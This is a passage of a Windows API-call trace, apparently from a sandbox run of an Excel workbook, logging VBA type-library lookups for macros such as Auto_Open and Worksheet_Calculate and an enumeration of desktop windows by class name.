[0082.679] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x7c, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.679] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.679] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x7d, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.679] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.679] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x7e, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.679] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.679] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x7f, ppFuncDesc=0x27eb98, pDummy=0xf50 | out: ppFuncDesc=0x27eb98, pDummy=0xf50) returned 0x0 [0082.679] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.679] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x80, ppFuncDesc=0x27eb98, pDummy=0xf50 | out: ppFuncDesc=0x27eb98, pDummy=0xf50) returned 0x0 [0082.679] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.679] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x81, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.679] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.679] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x82, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.679] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.679] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x83, ppFuncDesc=0x27eb98, pDummy=0xf50 | out: ppFuncDesc=0x27eb98, pDummy=0xf50) returned 0x0 [0082.679] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.679] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x84, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.679] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.679] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x85, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.680] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.680] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x86, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.680] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.680] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x87, ppFuncDesc=0x27eb98, pDummy=0xf50 | out: ppFuncDesc=0x27eb98, pDummy=0xf50) returned 0x0 [0082.680] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.680] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x88, ppFuncDesc=0x27eb98, pDummy=0xf50 | out: ppFuncDesc=0x27eb98, pDummy=0xf50) returned 0x0 [0082.680] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.680] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x89, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.680] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.680] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x8a, ppFuncDesc=0x27eb98, pDummy=0xf50 | out: ppFuncDesc=0x27eb98, pDummy=0xf50) returned 0x0 [0082.680] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.680] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x8b, ppFuncDesc=0x27eb98, pDummy=0xf50 | out: ppFuncDesc=0x27eb98, pDummy=0xf50) returned 0x0 [0082.680] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.680] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x8c, ppFuncDesc=0x27eb98, pDummy=0xf50 | out: ppFuncDesc=0x27eb98, pDummy=0xf50) returned 0x0 [0082.680] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.680] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x8d, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.680] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.680] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x8e, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.680] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.680] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x8f, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.680] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.680] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x90, ppFuncDesc=0x27eb98, pDummy=0xf50 | out: ppFuncDesc=0x27eb98, pDummy=0xf50) returned 0x0 [0082.680] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.680] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x91, ppFuncDesc=0x27eb98, pDummy=0xd0 | out: ppFuncDesc=0x27eb98, pDummy=0xd0) returned 0x0 [0082.680] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.680] ITypeInfo:RemoteGetFuncDesc (in: This=0xb3e38d0, index=0x92, ppFuncDesc=0x27eb98, pDummy=0xf50 | out: ppFuncDesc=0x27eb98, pDummy=0xf50) returned 0x0 [0082.680] ITypeInfo:LocalReleaseFuncDesc (This=0xb3e38d0) returned 0x0 [0082.680] IUnknown:QueryInterface (in: This=0xb3e3820, riid=0x7fee5e040f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x27ebb8 | out: ppvObject=0x27ebb8*=0xb3e3820) returned 0x0 [0082.680] ITypeInfo2:GetCustData (in: This=0xb3e3820, GUID=0x7fee5e0d970*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0x27ebc8 | out: pVarVal=0x27ebc8*(varType=0x0, wReserved1=0x0, wReserved2=0x92, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0082.680] IUnknown:Release (This=0xb3e3820) returned 0x2 [0082.680] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3820, memid=-1, refPtrFlags=0x27ebc0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0082.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Worksheet", cchWideChar=10, lpMultiByteStr=0x27ead0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Worksheet", lpUsedDefaultChar=0x0) returned 10 [0082.680] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet") returned 0x10fec1 [0082.680] IUnknown:QueryInterface (in: This=0xb3e3928, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27eb70 | out: ppvObject=0x27eb70*=0x0) returned 0x80004002 [0082.681] ITypeInfo:RemoteGetTypeAttr (in: This=0xb3e3928, ppTypeAttr=0x27eb98, pDummy=0x10 | out: ppTypeAttr=0x27eb98, pDummy=0x10) returned 0x0 [0082.681] ITypeInfo:LocalReleaseTypeAttr (This=0xb3e3928) returned 0x0 [0082.681] IMalloc:Realloc (This=0x7feffc15380, pv=0xb6052a0, cb=0x62) returned 0xb71a3a0 [0082.681] IUnknown:AddRef (This=0xb3e3928) returned 0x3 [0082.681] IUnknown:Release (This=0xb3e38d0) returned 0x1 [0082.681] IUnknown:Release (This=0xb3e3928) returned 0x2 [0082.681] IUnknown:Release (This=0xb3e3820) returned 0x1 [0082.681] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=279, refPtrFlags=0x27ef50, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6000000002 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6000000002) returned 0x0 [0082.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Calculate", cchWideChar=10, lpMultiByteStr=0x27efa0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Calculate", lpUsedDefaultChar=0x0) returned 10 [0082.681] _mbscpy_s (in: _Dst=0x27edf0, _DstSizeInBytes=0x14, _Src=0x6762d5a | out: _Dst=0x27edf0) returned 0x0 [0082.681] _mbscpy_s (in: _Dst=0x27edfa, _DstSizeInBytes=0xa, _Src=0x27efa0 | out: _Dst=0x27edfa) returned 0x0 [0082.681] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Calculate") returned 0x106574 [0082.682] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0082.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5bac08, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0082.682] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0082.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5bac08, cbMultiByte=11, lpWideCharStr=0x75dc4e8, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0082.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="[VBAProject].Auto_Open", cchWideChar=-1, lpMultiByteStr=0x27ede0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[VBAProject].Auto_Open", lpUsedDefaultChar=0x0) returned 23 [0082.683] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb685920 [0082.683] strncpy_s (in: _Dst=0xb685920, _DstSize=0x18, _Src="[VBAProject].Auto_Open", _MaxCount=0x16 | out: _Dst="[VBAProject].Auto_Open") returned 0x0 [0082.684] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0082.684] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xb685940 [0082.684] qsort (in: _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c | out: _Base=0xb685940) [0082.684] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Sheet1", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 1 [0082.684] bsearch (_Key=0x27dcf8, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0082.684] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0082.684] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 3 [0082.684] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 2 [0082.684] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Auto_Open") returned 0x102056 [0082.684] bsearch (_Key=0x27dcf8, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0082.684] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Open", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0082.684] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Open", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0082.685] IMalloc:Free (This=0x7feffc15380, pv=0xb685920) [0083.571] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1543, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x38000000c0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x38000000c0) returned 0x0 [0083.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28f020, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0083.571] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x1a, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0083.571] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x10, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0083.571] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0083.572] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1537, refPtrFlags=0x28e370, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0083.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28e3c0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0083.572] _mbscpy_s (in: _Dst=0x28e210, _DstSizeInBytes=0x1c, _Src=0x6762d5a | out: _Dst=0x28e210) returned 0x0 [0083.572] _mbscpy_s (in: _Dst=0x28e21a, _DstSizeInBytes=0x12, _Src=0x28e3c0 | out: _Dst=0x28e21a) returned 0x0 [0083.572] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0083.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x260f80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0083.612] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0x72f1c90 [0083.612] strncpy_s (in: _Dst=0x72f1c90, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0083.612] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0083.612] bsearch (_Key=0x25fe98, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0083.612] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0083.612] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0083.613] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1380) returned 0x0 [0083.613] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0083.613] IUnknown:Release (This=0xb1d1380) returned 0xb [0083.613] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x72f1c90, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0083.613] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x14054a95a, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x14054a95a, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0083.613] IUnknown:Release (This=0xb1d1380) returned 0xa [0083.613] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d0570) returned 0x0 [0083.614] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0083.614] IUnknown:Release (This=0xb1d0570) returned 0x12 [0083.614] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x72f1c90, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0083.614] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x14054a95a, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x14054a95a, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0083.614] IUnknown:Release (This=0xb1d0570) returned 0x11 [0083.614] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1920) returned 0x0 [0083.614] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0083.614] IUnknown:Release (This=0xb1d1920) returned 0x6 [0083.614] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x72f1c90, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0083.614] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x14054a95a, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x14054a95a, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0083.614] IUnknown:Release (This=0xb1d1920) returned 0x5 [0083.614] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0x6fed890) returned 0x0 [0083.614] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0083.614] IUnknown:Release (This=0x6fed890) returned 0x4 [0083.614] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x72f1c90, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0083.614] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x14054a95a, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x14054a95a, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0083.614] IUnknown:Release (This=0x6fed890) returned 0x3 [0083.615] IMalloc:Free (This=0x7feffc15380, pv=0x72f1c90) [0083.616] GetCurrentThreadId () returned 0x92c [0083.616] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0083.616] GetDesktopWindow () returned 0x10010 [0083.616] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10140 [0083.616] GetClassNameA (in: hWnd=0x10140, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20 [0083.616] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1 [0083.616] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0083.616] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a [0083.616] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.616] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.616] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0083.616] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138 [0083.616] GetClassNameA (in: hWnd=0x10138, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0083.616] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0083.616] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0083.616] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc [0083.616] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0083.616] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0083.616] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.616] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8 [0083.616] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0083.616] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0083.616] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.616] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0 [0083.617] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0083.617] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0083.617] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.617] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072 [0083.617] GetClassNameA (in: hWnd=0x10072, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0083.617] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0083.617] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.617] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10070 [0083.617] GetClassNameA (in: hWnd=0x10070, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0083.617] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0083.617] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.617] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x1005c [0083.617] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0083.617] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0083.617] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.617] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a [0083.617] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0083.617] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0083.617] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.617] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a [0083.617] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0083.617] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0083.617] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.617] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078 [0083.617] GetClassNameA (in: hWnd=0x10078, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0083.617] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0083.617] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.617] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074 [0083.617] GetClassNameA (in: hWnd=0x10074, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0083.617] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0083.617] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.617] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052 [0083.617] GetClassNameA (in: hWnd=0x10052, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0083.618] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0083.618] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.618] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e [0083.618] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.618] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.618] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.618] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054 [0083.618] GetClassNameA (in: hWnd=0x10054, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0083.618] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0083.618] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.618] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050 [0083.618] GetClassNameA (in: hWnd=0x10050, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0083.618] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0083.618] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.618] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4 [0083.618] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0083.618] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0083.618] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0083.618] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 